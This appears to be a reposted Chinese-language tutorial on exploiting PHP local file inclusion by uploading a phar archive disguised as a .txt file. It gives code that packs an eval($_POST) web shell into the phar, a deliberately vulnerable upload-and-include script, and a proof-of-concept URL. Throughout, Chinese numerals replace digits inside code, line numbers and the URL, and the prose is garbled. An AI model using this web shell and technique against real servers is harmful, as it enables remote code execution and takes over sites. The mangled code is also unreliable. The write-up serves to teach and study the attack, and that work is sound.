|
|
|
联系客服020-83701501

php phar LFI

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
php phar LFI

0x01. 甚么是phar

文件归档到1个文件包。
将1个模块的文件打包成1个phar,如许随意模块总体迁徙,只要将phar文件移动畴昔,另外环境中include便可使用。
近似于java的 .jar 文件。
php 五.3时,为php的C说话扩展,放置php时会默许放置。

0x02. 成立phar文件

phar.readonly = Off 这个参数必须设置为Off,假定为On,闪现phar文档弗成写。

makephar.php

Default
1234五6七8九10111213141五161七181九20212223242五262七 <?php try{    $p = new Phar("my.phar", 0, 'my.phar');} catch (UnexpectedValueException $e) {    die('Could not open my.phar');} catch (BadMethodCallException $e) {    echo 'technically, this cannot happen';} $p->startBuffering();$p['file1.txt'] = 'file1';$p['file2.txt'] = 'file2';$p['file3.txt'] = 'file3';$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>'; // use my.pharecho file_get_contents('phar://my.phar/file2.txt');  // echo file2 // make a file named my.phar$p->setStub("<?php    Phar::mapPhar('myphar.phar'); __HALT_COMPILER();"); $p->stopBuffering(); ?>

上面代码天生1个my.phar文件,代码输出file2字符串。

my.phar文件席卷了file1.txt,file2.txt,file3.txt和shell.php这四个文件。当然了,这四个文件不是实在存在磁盘上。

寄望:这几个文件不能直接经过http接见,但能够被include和file_get_contents等php函数独霸。

0x03. 独霸phar

在makephar.php文件的以后目录,新建1个callphar.php,独霸phar特定的花样。

Default
123 <?phpinclude 'phar://my.phar/shell.php';?>

接见callphar.php便可调用shell.php

寄望:phar文件不受文件名制约,即my.char能够随意的重命名为aaa.bbb

callphar.php

Default
123 <?phpinclude 'phar://aaa.bbb/shell.php';?>

 

1

0x04. LFI漏洞代码及独霸

upload.php

Default
1234五6七8九10111213141五161七181九20212223242五262七282九30313233343五363七383九40414243444五464七484九五0五1五2 <?php if(isset($_POST['submit'])){    $upload_name = $_FILES['file']['name'];    $tempfile = $_FILES['file']['tmp_name'];    $upload_ext = trim(get_extension($upload_name));     $savefile = RandomString() . '.txt';    if ($upload_ext == 'txt') {            if(move_uploaded_file($tempfile,$savefile)) {                die('Success upload. FileName: '.$savefile);            }            else {                die('Upload failed..');            }    }    else {        die('You are not a txt file..');    } }function get_extension($file){    return strtolower(substr($file, strrpos($file, '.')+1));   } function RandomString(){    $characters = "01234五6七8九abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";    $randstring = "";    for ($i = 0; $i < 16; $i++) {        $randstring .= $characters[rand(0, strlen($characters)-1)];    }    return $randstring;} // make a lfi vulnerability$file = $_REQUEST['file'];if ($file != '') {    $inc = sprintf("%s.php", $file); // only php file can be included    include($inc);}?> <html>    <body>        <form method="post" action="#" enctype="multipart/form-data">            <input type="file" name="file" value=""/>            <input type="submit" name="submit" value="upload"/>        </form>    </body></html>

上面代码只能上传txt文件,并且能够include php后缀名的文件。

独霸:
将makephar.php天生的my.char重命名为phar.txt,并且上传。

2

以是POC为:
http://localhost/pentest/网站200/upload.php?file=phar://S九EvthZuJI1TC4u五.txt/shell

3

0x五 参考

http://blog.csdn.net/yonggang七/article/details/24142七2五
http://drops.wooyun.org/papers/4五44

[via@joychou]

数安新闻+更多

证书相关+更多